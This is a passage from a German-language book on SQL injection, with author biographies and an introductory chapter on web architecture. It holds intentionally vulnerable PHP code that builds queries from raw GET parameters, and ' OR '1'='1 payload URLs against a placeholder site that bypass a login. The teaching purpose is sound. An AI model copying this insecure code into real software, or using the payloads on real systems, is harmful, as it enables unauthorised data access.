Sowohl auf Softwareentwicklungs- als auch auf Sicherheitskonferenzen wie Javazone und OWASP AppSec Europa sowie in Usergroups und Universitäten in Norwegen und im Ausland hat er Reden über Webanwendungs sicherheit gehalten. Als Sicherheitsforscher ist er stark für die norwegische Abteilung von OWASP engagiert. Außerdem ist er Mitglied des Norwegian Honeynet Project.

Erlend hat einen Mastergrad in Informatik von der Technisch-Naturwissenschaftlichen Univer-sität Norwegen (NTNU).

Gary O'Leary-Steele (CREST-Berater) ist technischer Direktor der Sec-1 Ltd. in Großbritanni-en. Zurzeit ist er leitender Penetrationstester und Sicherheitsberater für eine Vielzahl von Kun-den, darunter einige große Onlinehändler und Finanzorganisationen. Seine Spezialgebiete sind Sicherheitsüberprüfungen von Webanwendungen, Netzwerkpenetrationstests und Schwach-stellenforschung. Außerdem ist Gary Chefautor und Ausbilder des Sec-1-Schulungsprogramms CNSP (Certified Network Security Professional), das bereits mehr als 3000 Teilnehmer absol-viert haben. Microsoft, RSA, GFI, Splunk, IBM und Marshal Software haben Gary ihre Aner-kennung für die Entdeckung von Sicherheitsmängeln in ihren kommerziellen Anwendungen ausgesprochen.

25Die Autoren der Beiträge

Alberto Revelli ist Sicherheitsforscher und Urheber von Sqlninja, einem Open-Source-Toolkit, das zu einer beliebten Waffe für SQL-Injection in Webanwendungen mit Microsoft SQL Server geworden ist. Im Brotberuf arbeitet er für ein großes Handelsunternehmen, wo er meistens alles kaputt macht, was seine Neugier weckt, und es anschließend repariert.

In seiner Karriere hat er schon vielen Unternehmen geholfen, darunter großen Finanzinsti-tuten, Telekommunikationsanbietern, Medien- und Produktionsfirmen. Als Redner ist er zu mehreren Sicherheitskonferenzen wie EuSecWest, SOURCE, RSA, CONFidence, Shakacon und AthCon eingeladen worden.

Er lebt in London, wo er zusammen mit seiner Freundin das scheußliche Wetter und das ver-rückte Nachtleben genießt.

Sumit »sid« Siddharth arbeitet als Leiter der Abteilung für Penetrationstests bei der 7Safe Li-mited in Großbritannien, wo er sich auf Anwendungs- und Datenbanksicherheit spezialisiert hat und mehr als sechs Jahre Erfahrung mit Penetrationstests einbringt. Er hat eine Reihe von Whitepapers und Tools geschrieben und war als Redner bzw. Schulungsleiter an vielen Sicher-heitskonferenzen wie Black Hat, DEFCON, Troopers, OWASP AppSEc, Sec-T usw. beteiligt. Außerdem führt er den beliebten IT-Sicherheitsblog www.notsosecure.com.

Marco Slaviero ist Mitarbeiter bei SensePost, wo er die SensePost Labs leitet (derzeitige Be-legschaft: 1,5). Auf Branchenkonferenzen wie BlackHat USA und DefCon hat er Reden über verschiedene Sicherheitsthemen gehalten, darunter auch über SQL-Injection. Sein Fachgebiet sind Anwendungstests, wobei er sich auch für Netzwerke interessiert. Er ist als leitender Berater für Kunden auf vier Kontinenten tätig.

Marco lebt zusammen mit seiner wundervollen Frau Juliette.

Vor einigen Jahren hat Marco einen Mastergrad von der Universität von Pretoria erhalten, aber das ist jetzt Vergangenheit. Feigen hasst er immer noch.

Dafydd Stuttard ist unabhängiger Sicherheitsberater, Autor und Softwareentwickler mit dem Spezialgebiet Penetrationstests von Webanwendungen und kompilierter Software. Er ist Autor des Bestsellers Web Application Hacker's Handbook. Unter dem Pseudonym PortSwigger hat er die beliebte Burp Suite geschrieben, eine Sammlung von Tools zum Hacking von Webanwen-dungen. Dafydd hat auch Schulungskurse entwickelt und auf Sicherheitskonferenzen und bei anderen Gelegenheiten in aller Welt abgehalten. Er hat einen Master- und einen Doktorgrad in Philosophie von der Universität Oxford.

26 Chefautor und Fachgutachter

Chefautor und Fachgutachter

Justin Clarke ist Mitbegründer und Direktor von Gotham Digital Science, einer Beratungsfir-ma für Informationssicherheit, die mit ihren Kunden zusammenarbeitet, um Sicherheitsrisiken zu erkennen, zu verhindern und zu handhaben. Er hat mehr als 15 Jahre Erfahrung mit Sicher-heitstests von Netzwerken und Software für große Finanz-, Einzelhandels- und Technologieun-ternehmen in den USA, Großbritannien und Neuseeland.

Darüber hinaus hat Justin als Coautor zu einer Reihe von Computersicherheitsbüchern beige-tragen und ist als Redner bei vielen Konferenzen und Veranstaltungen zu Sicherheitsthemen aufgetreten, darunter Black Hat, EuSecWest, OSCON, ISACA, RSA, SANS, OWASP und der British Computer Society. Er ist Autor des Open-Source-Tools SQLBrute für blinde SQL-In-jection und Leiter der Londoner OWASP-Abteilung.

Justin hat einen Bachelorgrad in Informatik von der University of Canterbury in Neuseeland und Diplome in strategischem Personalmanagement und Buchhaltung. Was sich davon als praktischer erwiesen hat, kann er immer noch nicht sagen.

1Was ist SQL-Injection?

Dave Hartley

1.1 Einführung

Viele Menschen, die behaupten, sie wüssten, was SQL-Injection sei, haben in Wirklichkeit nur einige triviale Beispiele kennengelernt. SQL-Injection ist eine der verheerendsten Angriffstech-niken, die ein Unternehmen treffen können. Sie kann zur Offenlegung der sensiblen Informati-onen führen, die in den Datenbanken einer Anwendung gespeichert sind, darunter so brauch-bare Informationen wie Benutzernamen, Passwörter, Namen, Adressen, Telefonnummern und Kreditkartenangaben.

Was aber ist SQL-Injection genau? Es handelt sich um eine Angriffstechnik, bei der ein Angreifer SQL-Anfragen (Structured Query Language) manipuliert, die eine Anwendung an ihre Back-End-Datenbank übergibt. Dabei nutzt der Angreifer die Syntax und die Möglichkeiten von SQL sowie die Leistungsfähigkeit und Flexibilität aus, die die unterstützende Datenbank und das Betriebssystem bieten. Nicht nur Webanwendungen sind anfällig für SQL-Injection. Jeglicher Code, der Eingaben aus nicht vertrauenswürdigen Quellen annimmt und daraus dynamische SQL-Anweisungen gestaltet, ist angreifbar (beispielsweise auch »Fat-Client-Anwendungen« in

28 1 Was ist SQL-Injection?

Client/Server-Architekturen). Früher wurde SQL-Injection hauptsächlich gegen serverseitige Datenbanken eingesetzt, doch angesichts der jetzigen HTML5-Spezifikation können Angreifer genauso gut auch JavaScript oder anderen Code ausführen, und damit auf clientseitige Da-tenbanken zugreifen und von dort Daten stehlen. Auch bei Mobilanwendungen (z. B. auf der Android-Plattform) können Schadanwendungen und clientseitige Skripte auf ähnliche Weise eingesetzt werden (siehe labs.mwrinfosecurity.com/notices/ webcontentresolver/).

SQL-Injection gibt es wahrscheinlich schon, seit zum ersten Mal SQL- Datenbanken mit Web-anwendungen verbunden wurden. Meistens wird die Ent deckung jedoch Rain Forest Puppy zugeschrieben. Zumindest war er es, der das Problem an die Öffentlichkeit brachte. Weih-nachten 1998 schrieb er in Phrack, einem E-Zine von und für Hacker, den Artikel »NT Web Technology Vulnerabilities« (www.phrack.com/issues.html?issue=54&id=8#article). Außerdem veröffentlichte er Anfang 2001 einen Ratgeber über SQL-Injection (»How I hacked Packet-Storm« auf www.wiretrip.net/rfp/txt/rfp2k01.txt), in dem er ausführlich beschrieb, wie mithilfe von SQL-Injection eine populäre Website angegriffen wurde. Seitdem haben viele Forscher Techniken zur Ausnutzung der entsprechenden Schwachstellen entwickelt und verfeinert. Den-noch wird das Problem bis heute von vielen Entwicklern und Sicherheitsexperten nicht richtig verstanden.

In diesem Kapitel sehen wir uns die Gründe für die Schwachstellen an, die eine SQL-Injection ermöglichen. Als Erstes sehen wir uns an, wie Webanwendungen gewöhnlich aufgebaut sind, um den Zusammenhang zu klären, in dem SQL-Injection auftritt. Danach beschäftigen wir uns damit, was im Code einer Anwendung zu Anfälligkeiten für SQL-Injection führt und wie Entwicklungspraktiken und Verhaltensweisen dazu beitragen.

1.2 Wie funktionieren Webanwendungen?

Die meisten von uns nutzen täglich Webanwendungen, entweder in der Ausübung unseres Berufs oder um auf unsere E-Mails zurückzugreifen, Reisen zu buchen, bei Onlinehändlern einzukaufen oder Newsbeiträge zu lesen usw. Es gibt Webanwendungen aller Art.

Unabhängig von der Sprache, in der sie geschrieben sind, haben Webanwendungen jedoch eines gemeinsam: Sie sind interaktiv und stützen sich meistens auf eine Datenbank. In der heutigen vernetzten Welt sind datenbankgestützte Webanwendungen gang und gäbe. Normalerweise be-stehen sie aus einer Back-End-Datenbank und Webseiten. Letztere enthalten serverseitige Skrip-te in einer Programmiersprache, die in der Lage ist, aufgrund der dynamischen Interaktion mit den Benutzern gezielt Informationen aus der Datenbank abzurufen. Einer der gebräuchlichsten Verwendungs zwecke für datenbankgestützte Webanwendungen sind E-Commerce-Websites, bei denen eine Vielzahl von Informationen in einer Datenbank gespeichert sind, z. B. Produktin-formationen, Warenbestände, Preise, Porto- und Verpackungskosten usw. Wahrscheinlich sind Sie mit dieser Art von Anwendung, mit der Sie Produkte bei Onlinehändlern beziehen, vertraut. Eine datenbankgestützte Webanwendung besteht gewöhnlich aus drei Schichten: einer Präsenta-

29 1.2 Wie funktionieren Webanwendungen?

tionsschicht (ein Webbrowser oder Rendering-Engine), einer logischen Schicht (eine Program-miersprache wie C#, ASP, .NET, PHP, JSP o. Ä.) und einer Speicherschicht (ein Datenbanksystem wie Microsoft SQL Server, MySQL, Oracle o. Ä.). Der Webbrowser (die Präsentationsschicht, z. B. Internet Explorer, Safari, Firefox) sendet Anforderungen an die mittlere Schicht (die Lo-gikschicht), die diese Anforderungen bedient, indem sie die Datenbank (die Speicherschicht) abfragt oder aktualisiert.

Betrachten Sie als Beispiel einen Onlinehändler. Das Suchformular, das er anzeigt, ermöglicht es den Kunden, in den Produkten zu stöbern, gezielt nach bestimmten Produkten zu suchen und die Auswahl noch weiter zu verfeinern, beispielsweise nach Preis. Um beispielsweise alle Produk-te dieses Anbieters einzusehen, die weniger als 100 $ kosten, können wir folgenden URL angeben:

http://www.victim.com/products.php?val=100

Das folgende PHP-Skript zeigt, wie die Benutzereingabe (val) an eine dynamisch erstellte SQL-Anweisung übergeben wird. Bei der Anforderung des URLs wird der folgende Abschnitt des PHP-Codes ausgeführt:

// Stellt Verbindung mit der Datenbank her $conn = mysql_connect("localhost","username","password"); // Baut die SQL-Anweisung dynamisch aus den Eingaben auf $query = "SELECT * FROM Products WHERE Price < '$_GET["val"]' " . "ORDER BY ProductDescription"; // Führt die Abfrage an der Datenbank aus $result = mysql_query($query); // Durchläuft die Menge der Datensätze while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { // Zeigt die Ergebnisse im Browser an echo "Description : {$row['ProductDescription']} <br>". "Product ID : {$row['ProductID']} <br>". "Price : {$row['Price']} <br><br>"; }

Die SQL-Anweisung, die das PHP-Skript zusammenstellt und ausführt, sehen Sie im folgenden Codebeispiel. Diese Anweidung gibt alle Produkte in der Datenbank zurück, die weniger als 100 $ kosten. Diese Produktauswahl wird im Webbrowser angezeigt, dass die Kunden den Einkauf im Rahmen ihres Budgets fortsetzen können. Im Prinzip funktionieren alle datenbankgestütz-ten Webanwendungen so oder ähnlich.

SELECT * FROM Products WHERE Price <'100.00' ORDER BY ProductDescription;


1.2.1 Eine einfache Anwendungsarchitektur

Wie bereits erwähnt, bestehen datenbankgestützte Webanwendungen gewöhnlich aus drei Schichten, der Präsentations-, der Logik- und der Speicherschicht. Abbildung 1.1 zeigt ein ein-faches Beispiel für diese Schichtung, um deutlich zu machen, wie Webtechnologien zusammen-wirken, um die vertraute Webumgebung mit ihrem großen Funktionsumfang zu bilden.

Die oberste Ebene der Anwendung ist die Präsentationsschicht. Sie zeigt die üblichen Informa-tionen zu Diensten wie der Suche in Produkten, dem Kauf oder dem Einkaufswagen an. Zur Kommunikation mit anderen Schichten gibt sie Ergebnisse an die Browser/Client-Schicht und alle anderen Schichten im Netzwerk aus. Davon zu unterscheiden ist die Logikschicht. Als eine eigene Schicht steuert sie die Funktionen der Anwendung, indem sie die eigentliche Verarbei-tung durchführt. Die Datenschicht wiederum besteht aus den Datenbankservern. Hier werden die Informationen gespeichert und abgerufen. Die Daten in dieser Schicht sind von den Anwen-dungsservern und der Geschäftslogik getrennt. Die Verwendung einer eigenen Schicht für die Daten verbessert auch die Skalierbarkeit und Leistung. In Abbildung 1.1 sendet der Webbrowser (Präsentation) Anforderungen an die mittlere Schicht (Logik), die darauf reagiert, indem sie Abfragen und Aktualisierungen an der Datenbank (Speicherung) vornimmt. Als eine grund-legende Regel in einer dreischichtigen Architektur kommuniziert die Präsentationsschicht nie-mals direkt mit der Datenschicht. Die gesamte Kommunikation muss über die mittlere Schicht erfolgen. Die dreischichtige Architektur ist prinzipiell linear aufgebaut.

Präsentationsschicht

http://www.victim.com abrufen

HTML darstellen

Webbrowser/Render-Engine

Logikschicht

index.asp laden, kompilieren und ausführen

Skript- Engine

Skripte

Sendet HTML

Programmiersprachen: C#, ASP, .NET, PHP, JSP usw.

Speicherung

SQL ausführen

Daten zurückgeben

Datenbanken: MS SQL, MySQL, Oracle usw.

RDBMS

Abbildung 1.1: Einfache dreischichtige Architektur

In Abbildung 1.1 startet der Benutzer seinen Webbrowser und stellt eine Verbindung mit http://www.victim.com her. Der Webserver in der Logikschicht lädt das Skript aus dem Dateisystem und übergibt es an seine Skript-Engine, wo es analysiert und ausgeführt wird. Das Skript baut mithilfe eines Datenbankkonnektors eine Verbindung mit der Speicherschicht auf und führt eine SQL-Anweisung an der Datenbank aus. Die Datenbank wiederum gibt die Daten an den Konnektor zurück, der dann an die Skript-Engine in der Logikschicht übergeben wird. Die Lo-gikschicht wiederum wendet eventuell vorhandene Regeln der Anwendungs- oder Geschäftslo-gik an, bevor sie schließlich eine Webseite im HTML-Format an den Webbrowser des Benutzers

31 1.2 Wie funktionieren Webanwendungen?

in der Präsentationsschicht zurückgibt. Der Browser stellt das HTML dar und präsentiert dem Benutzer eine grafische Darstellung des Codes. All dies geschieht in Sekunden und für den Be-nutzer unsichtbar.

1.2.2 Eine kompliziertere Architektur

Dreischichtige Lösungen sind nicht skalierbar, weshalb dieses Modell in den letzten Jahren überdacht und ein neues Konzept eingeführt wurde, bei dem der Schwerpunkt auf Skalier-barkeit und Wartungsfreundlichkeit liegt: das Entwicklungsprinzip n-schichtiger Anwendun-gen. In diesem Rahmen wurde eine vierschichtige Lösung entworfen, bei der eine Middleware, meistens ein so genannter Anwendungsserver, zwischen Webserver und Datenbank geschaltet ist. Anwendungsserver in n-schichtigen Architekturen beherbergen eine Anwendungsprogram-mierschnittstelle (Application Programming Interface, API), um die Geschäftslogik und die Geschäftsprozesse für die Verwendung durch Anwendungen offenzulegen. Zusätzliche Webser-ver können nach Bedarf hinzugefügt werden. Außerdem kann der Anwendungsserver mit ver-schiedenen Datenquellen kommunizieren, z. B. mit Datenbanken, Mainframecomputern und anderen veralteten Sytemen.

Abbildung 1.2 zeigt eine einfache vierschichtige Architektur. Hier sendet der Webbrowser (Prä-sentation) eine Anforderung an die mittlere Schicht (Logik), die wiederum die offengelegten APIS des Anwendungsservers in der Anwendungsschicht aufruft. Diese APIs reagieren auf die Anforderungen, indem sie Abfragen und Aktualisierungen an der Datenbank (Speicherung) ausführen.

In Abbildung 1.2 startet der Benutzer seinen Webbrowser und stellt eine Verbindung mit http://www.victim.com her. Der Webserver in der Logikschicht lädt das Skript aus dem Dateisystem und übergibt es an seine Skript-Engine, wo es analysiert und ausgeführt wird. Das Skript ruft eine offengelegte API des Anwendungsservers in der Anwendungsschicht auf. Dieser Server baut mithilfe eines Datenbankkonnektors eine Verbindung mit der Speicherschicht auf und führt eine SQL-Anweisung an der Datenbank aus. Die Datenbank wiederum gibt die Daten an den Konnektor zurück. Der Anwendungsserver wendet eventuell vorhandene Regeln der An-wendungs- oder Geschäftslogik an, bevor er die Daten an den Webserver zurückgibt. Der Web-server führt ggf. eine abschließende Logik aus und übergibt die Daten dann im HTML-Format an den Webbrowser des Benutzers in der Präsentationsschicht. Der Browser stellt das HTML dar und präsentiert dem Benutzer eine grafische Darstellung des Codes. All dies geschieht in Sekunden und für den Benutzer unsichtbar.

Das Grundprinzip geschichteter Architekturen besteht darin, eine Anwendung in logische Abschnitte oder Schichten zu zerlegen, denen allgemeine oder besondere Rollen zugewiesen werden. Die Schichten können dabei auf mehrere Computer verteilt oder auf ein und demsel-ben Rechner untergebracht werden, wobei sie jedoch praktisch oder prinzipiell voneinander getrennt sind. Je mehr Schichten Sie verwenden, umso spezifischer sind die Aufgaben der ein-


zelnen Schichten. Die Aufteilung der Aufgaben einer Anwendung auf mehrere Schichten ver-einfacht die Skalierung, erlaubt eine bessere Verteilung der Entwicklungsaufgaben auf mehrere Entwickler, macht die Anwendung leichter lesbar und fördert die Wiederverwendbarkeit ihrer Bestandteile. Durch diese Vorgehensweise werden auch kritische Fehlerpunkte ausgeschlossen, was die Anwendung robuster macht. Wird beispielsweise entschieden, den Datenbankanbieter zu wechseln, ist dazu nicht mehr nötig, als einige Änderungen in den entsprechenden Teilen der Anwendungsschicht vorzunehmen. Präsentations- und Logikschicht bleiben davon unberührt. Im Internet werden heutzutage am meisten drei- und vierschichtige Architekturen verwendet. Das n-schichtige Modell ist jedoch äußerst flexibel und ermöglicht es, viele Schichten und Ebe-nen logisch zu trennen und auf unzählige Art und Weise einzurichten.

Präsentationsschicht

http://www.victim.com abrufen

HTML darstellen

Webbrowser/ Render-Engine

Logikschicht

index.asp laden, kompilieren und ausführen

Skript- Engine

Skripte

Sendet HTML

Programmiersprachen: C#, ASP, .NET, PHP, JSP usw.

Speicherung

SQL ausführen

Daten zurückgeben

Datenbanken: MS SQL, MySQL, Oracle usw.

CFC-, EJB-, SOAP-, RMI-Webdienst usw.

Übergibt Daten an Webserver

Anwendungsschicht

Interagiert mit dem Datenspeicher und setzt Anwendungs- und Geschäftslogik durch

RDBMS

Abbildung 1.2: Einfache vierschichtige Architektur

1.3 Wie funktioniert SQL-Injection?

Webanwendungen werden immer anspruchsvoller und technisch komplizierter. Die Skala reicht von dynamischen Internet- und Intranetportalen wie E-Commerce-Websites und Partner- Extranets zu HTTP-Unternehmensanwendungen wie Dokumentmanagementsystemen und ERP-Anwendungen. Die Verfügbarkeit dieser Systeme und die Sensibilität der darin gespeicherten und verarbeiteten Daten ist für fast alle größeren Unternehmen von entscheidender Bedeutung, nicht nur für Firmen mit Online-Stores. Webanwendungen und die Infrastrukturen und Um-gebungen zu ihrer Unterstützung nutzen diverse Technologien und können erhebliche Mengen an verändertem und angepasstem Code enthalten. Die Natur dieser funktionsreichen Designs und ihre Möglichkeit, Informationen über das Internet oder in einem Intranet zu erfassen, zu verarbeiten und zu verbreiten, machen sie zu beliebten Zielen für Angreifer. Außerdem sind Sicherheitstechnologien für Netzwerke ausgereift, weshalb es weniger Gelegenheiten gibt, Netz-werkschwachstellen auszunutzen, um in Informationssysteme einzubrechen. Hacker richten ihre Aufmerksamkeit jetzt daher verstärkt darauf, Anwendungen anzugreifen.

Bei der SQL-Injection wird SQL-Code in Anwendungs- oder Benutzereingabeparameter einge-fügt oder daran angehängt, die zur Ausführung an den SQL-Back-End-Server übergeben wer-

33 1.3 Wie funktioniert SQL-Injection?

den. Jegliche Prozeduren, die SQL-Anweisungen zusammenstellen, sind prinzipiell anfällig für einen solchen Angriff, da die Vielfalt von SQL und der Methoden zur Konstruktion von SQL-Anweisungen reichhaltige Gelegenheit zur Programmierung gibt. Die Hauptform der SQL-In-jection besteht darin, Code direkt in die Parameter einzufügen, die mit SQL-Befehlen verkettet und ausgeführt werden. Bei einer weniger unmittelbaren Vorgehensweise wird Schadcode in Strings eingebaut, die zur Speicherung in einer Tabelle oder als Metadaten vorgesehen sind. Werden diese gespeicherten Strings später zu dynamischen SQL-Befehlen verkettet, so wird der Schadcode ausgeführt. Wenn eine Webanwendung die ihr übergebenen Parameter nicht ordentlich bereinigt (selbst bei der Verwendung von Parametrisierungstechniken), dann kann ein Angreifer die Zusammenstellung der SQL-Anweisungen für das Back-End manipulieren. Diese Anweisungen werden dann mit den Rechten ausgeführt, die der Benutzer der Anwen-dung hat. Befehle, die mit dem Betriebssystem interagieren, laufen mit den Berechtigungen der Komponenten, die die Befehle ausführen (also z. B. mit den Berechtigungen des Datenbank-, des Anwendungs- oder des Webservers). Diese Berechtigungen können sehr hoch sein.

Um dies zu veranschaulichen, sehen wir uns wieder unser Beispiel des Onlinehändlers an. Um alle Produkte einzusehen, die weniger als 100 $ kosten, konnten wir bekanntlich folgenden URL verwenden:

http://www.victim.com/products.php?val=100

Der Anschaulichkeit halber werden in den URL-Beispielen in diesem Kapitel GET- statt POST- Parameter verwendet. POST-Parameter lassen sich genauso einfach verändern, allerdings muss dazu ein zusätzliches Instrument eingesetzt werden, z. B. ein Tool zur Manipulation des Daten-verkehrs, ein Webbrowser-Plug-In oder eine Inline-Proxyanwendung.

Hier versuchen wir jedoch, unsere SQL-Befehle einzufügen, indem wir sie an den Eingabepa-rameter val anhängen. Das können Sie einfach dadurch tun, dass Sie den URL um den String ' OR '1'='1 ergänzen.

http://www.victim.com/products.php?val=100' OR '1'='1

Die SQL-Anweisung, die das PHP-Skript diesmal zusammenstellt und ausführt, gibt sämtliche Produkte in der Datenbank unabhängig von ihrem Preis zurück. Das liegt daran, dass Sie die Logik der Abfrage verändert haben: Die zweite mit OR angehängte Aussage ist immer wahr, da 1 schließlich immer gleich 1 ist. Die zusammengestellte und ausgeführte Abfrage sieht wie folgt aus:

SELECT * FROM ProductsTbl WHERE Price < '100.00' OR '1' = '1' ORDER BY ProductDescription;


Es gibt viele Möglichkeiten, wie sich Schwachstellen gegenüber SQL-Injektionsangriffen ausnut-zen lassen, um eine breite Palette von Zielen zu erreichen. Ob der Angriff Erfolg hat, hängt zum größten Teil von der Datenbank und den miteinander verbundenen Systemen ab. Manchmal kann es sehr viel Können und Ausdauer erfordern, eine Schwachstelle vollständig auszunutzen.

Das vorstehende kleine Beispiel hat gezeigt, wie ein Angreifer eine dynamisch aus nicht validier-ten oder codierten Eingaben zusammengestellte SQL-Anweisung gestalten kann, um Aktionen auszuführen, die die Entwickler der Anwendung weder beabsichtigt noch vorausgesehen ha-ben. Wie effektiv ein solcher Angriff sein kann, wurde in diesem Beispiel jedoch nicht deutlich. Schließlich haben wir die Schwachstelle nur ausgenutzt, um uns alle Produkte in der Datenbank anzusehen, und das hätten wir auch ganz legal mit den dafür vorgesehenen Funktionen der An-wendung tun können. Nehmen wir jetzt aber an, dass die Anwendung über ein CMS (Content Management System) über das Netzwerk verwaltet werden kann. Ein CMS ist eine Webanwen-dung, mit der sich Inhalte einer Website ohne HMTL-Kenntnisse erstellen, bearbeiten, verwal-ten und veröffentlichen lassen. Um auf das CMS für unsere Beispielwebsite zuzugreifen, müssen Sie einen URL wie den folgenden eingeben:

http://www.victim.com/cms/login.php?username=foo&password=bar

Um auf die Funktionen der CMS-Anwendung zugreifen zu können, müssen Sie einen gültigen Benutzernamen und ein Kennwort angeben. Wenn Sie den vorstehenden URL eingeben, er-halten Sie allerdings die Fehlermeldung: »Falscher Benutzername oder falsches Passwort. Bitte versuchen Sie es erneut.« Der Code für das Skript login.php sieht wie folgt aus:

// Stellt die Verbindung zur Datenbank her $conn = mysql_connect("localhost","username","password"); // Stellt aus den Einhaben dynamisch die SQL-Anweisung zusammen $query = "SELECT userid FROM CMSUsers WHERE user = '$_GET["user"]' " . "AND password = '$_GET["password"]'"; // Führt die Abfrage an der Datenbank aus $result = mysql_query($query); // Prüft, wie viele Zeilen die Datenbank zurückgegeben hat $rowcount = mysql_num_rows($result); // Wird eine Zeile zurückgegeben, müssen die Anmeldeinformationen gültig // sein, weshalb der Benutzer zu den admin-Seiten weitergeleitet wird if ($rowcount ! = 0){header("Location: admin.php");} // Wird keine Zeile zurückgegeben, sind die Anmeldeinformationen falsch else {die('Incorrect username or password, please try again.')}

Das Skript login.php stellt dynamisch eine SQL-Anweisung zusammen und gibt einen Datensatz zurück, wenn ein Benutzername und ein zugehöriges Passwort eingegeben wurden. In dem folgenden Codeausschnitt ist diese SQL-Anweisung genauer zu erkennen. Die Abfrage gibt die ID des Benutzers (userid) zurück, wenn die für user und password eingegebenen Werte einem gespeicherten Wert in der Tabelle CMSUsers entsprechen:


SELECT userid FROM CMSUsers WHERE user = 'foo' AND password = 'bar';

Das Problem bei diesem Code besteht darin, dass der Entwickler der Ansicht war, die Anzahl der zurückgegebenen Datensätze sei zwangsläufig entweder null oder eins. In dem vorherigen Injektionsbeispiel haben wir eine Schwachstelle ausgenutzt, die es erlaubt, die Bedeutung der SQL-Abfrage zu ändern, sodass sie stets true zurückgibt. Dieselbe Technik können wir auch bei der CMS-Anwendung einsetzen und damit die Anwendungslogik aushebeln. Durch Anhängen des Strings 'OR '1'='1 im folgenden URL gibt die SQL-Anweisung, die das PHP-Skript zusam-menstellt und ausführt, die userids sämtlicher Benutzer in der Tabelle CMSUsers zurück:

http://www.victim.com/cms/login.php?username=foo&password=bar' OR '1'='1

Sämtliche Benutzer-IDs werden zurückgegeben, da wir die Logik der Abfrage geändert haben. Die zweite mit OR angehängte Aussage ist immer wahr, da 1 schließlich immer gleich 1 ist. Die zusammengestellte und ausgeführte Abfrage sieht wie folgt aus:

SELECT userid FROM CMSUsers WHERE user = 'foo' AND password = 'password' OR '1' = '1';

Die Logik der Anwendung besagt, dass die Anmeldeinformationen richtig gewesen sein müs-sen, wenn die Datenbank mehr als null Datensätze zurückgibt, weshalb wir zu dem geschütz-ten Skript admin.php weitergeleitet werden und Zugriff darauf bekommen sollen. Wir würden dann als der erste Benutzer angemeldet, der in der Tabelle CMSUsers aufgeführt ist. Eine Anfäl-ligkeit für SQL-Injection hat es uns erlaubt, die Anwendungslogik zu unterlaufen.

Versuchen Sie nicht, diese Beispiele bei fremden Webanwendungen oder Systemen auszupro-bieren, sofern Sie dazu nicht die ausdrückliche Erlaubnis (vorzugsweise in schriftlicher Form) des Besitzers haben. In den Vereinigten Staaten können Sie dafür nach dem »Computer Fraud and Abuse Act« von 1986 (www.cio.energy.gov/documents/ComputerFraud-AbuseAct.pdf) oder dem »USA Patriot Act« von 2001 strafrechtlich verfolgt werden. In Großbritannien kommen das »Computer Misuse Act« von 1990 (www.opsi.gov.uk/acts/acts1990/Ukpga_19900018_ en_1) und das »Police and Justice Act« von 2006 (www.opsi.gov.uk/Acts/ acts2006/ukpga_20060048_en_1) zur Anwendung. Wenn Anklage erhoben wird, können Sie mit einer hohen Geldstrafe oder sogar einer Haftstraße belangt werden.


1.3.1 Aufsehenerregende Beispiele

Genaue Daten darüber, wie viele Organisationen für SQL-Injection anfällig sind oder gar schon erfolgreich angegriffen wurden, lassen sich nur schwer beschaffen. Anders als Firmen in den USA sind Unternehmen in vielen anderen Ländern nicht verpflichtet, ernsthafte Sicherheits-verletzungen öffentlich bekannt zu geben. Solche Einbrüche und erfolgreichen Angriffe sind jedoch ein beliebtes Thema für die Medien. Selbst kleinere Vorfälle, die früher unbemerkt vom breiten Publikum geblieben wären, werden heute in großem Maßstab an die Öffentlichkeit ge-bracht.

Einige der öffentlich verfügbaren Quellen helfen, zu erkennen, wie schwerwiegend das Problem der SQL-Injection ist. Beispielsweise führt die »Liste der 25 gefährlichsten Softwarefehler« von CWE/SANS (Common Weakness Enumeration) die am weitesten verbreiteten kritischen Fehler auf, die zu erheblichen Schwachstellen in Software führen. Die 25 Einträge wurden nach Einga-ben von über 20 verschiedenen Organisationen geordnet. Die einzelnen Schwachstellen wurden nach Häufigkeit, Wichtigkeit und Wahrscheinlichkeit der Ausnutzung bewertet. Zu dieser Be-wertung und zur Aufstellung der endgültigen Rangliste wurde das CWSS (Common Weakness Scoring System) verwendet. An der Spitze der Liste für das Jahr 2011 steht die Anfälligkeit für SQL-Injektionsangriffe (siehe http://cwe.mitre.org/top25/index.html).

Auch das OWASP (Open Web Application Security Project) führt die Anfälligkeit für Injekti-onsangriffe (darunter auch SQL-Injection) in seiner Top-10-Liste von 2010 als eine der erns-testen Sicherheitsbedrohungen für Webanwendungen auf. Der Hauptzweck dieser Liste besteht darin, Entwickler, Designer, Architekten und Organisationen über die Folgen der am weitesten verbreiteten Schwachstellen von Webanwendungen aufzuklären. In der vorherigen Liste aus dem Jahr 2007 stand die SQL-Injection noch auf dem zweiten Platz. Für 2010 hatte die OWASP die Methodik zur Bestimmung der Rangfolge geändert, um sie nicht allein auf die Häufigkeit der jeweiligen Schwachstellen zu stützen, sondern auch das Risiko zu ermitteln. Früher wurde die Top-10-Liste der OWASP aus Daten der CVE-Liste (Common Vulnerabilities and Exposu-res) öffentlich bekannter Schwachstellen und Gefahren im Bereich der Informationssicherheit, die von der MITRE Corporation veröffentlicht wird (http://cve.mitre.org/). Das Problem bei der Verwendung der CVE-Zahlen als Indikator dafür, wie viele Websites für SQL-Injectionen anfäl-lig sind, besteht darin, dass diese Daten keinen Einblick in die Schwachstellen von Websites ge-ben, die von Unternehmen selbst erstellt wurden. Die CVE-Einträge stellen nur die aufgespür-ten Schwachstellen in kommerziellen und Open-Source-Anwendungen dar, zeigen aber nicht, wie weit diese Schwachstellen in der Praxis verbreitet sind. In Wirklichkeit ist die Situation noch viel, viel schlimmer. Dennoch ist der Trendbericht aus dem Jahr 2007 eine interessante Lektüre (http://cve.mitre.org/ docs/vuln-trends/vuln-trends.pdf).

Es gibt noch weitere Quellen, die Informationen über angegriffene Websites sammeln. Bei-spielsweise hält Zone-H Verunstaltungen von Websites fest. Sie zeigt eine große Zahl von pro-minenten Websites und Webanwendungen, die im Laufe der Jahre aufgrund von Schwachstel-len gegenüber SQL-Injektionsangriffen gehackt wurden. Seit 2001 wurden Websites innerhalb der Domäne Microsoft mindestens 46 Mal verunstaltet. Eine umfassende Liste der betroffenen Microsoft-Websites finden Sie online auf Zone-H (www.zone-h.org/content/view/14980/1/).


Auch die traditionelle Presse bringt erfolgreiche Ausnutzungen von Sicherheitslücken an die Öffentlichkeit, insbesondere, wenn sie bekannte und angesehene Unternehmen betreffen. Die folgende Liste nennt eine Auswahl solcher Fälle:

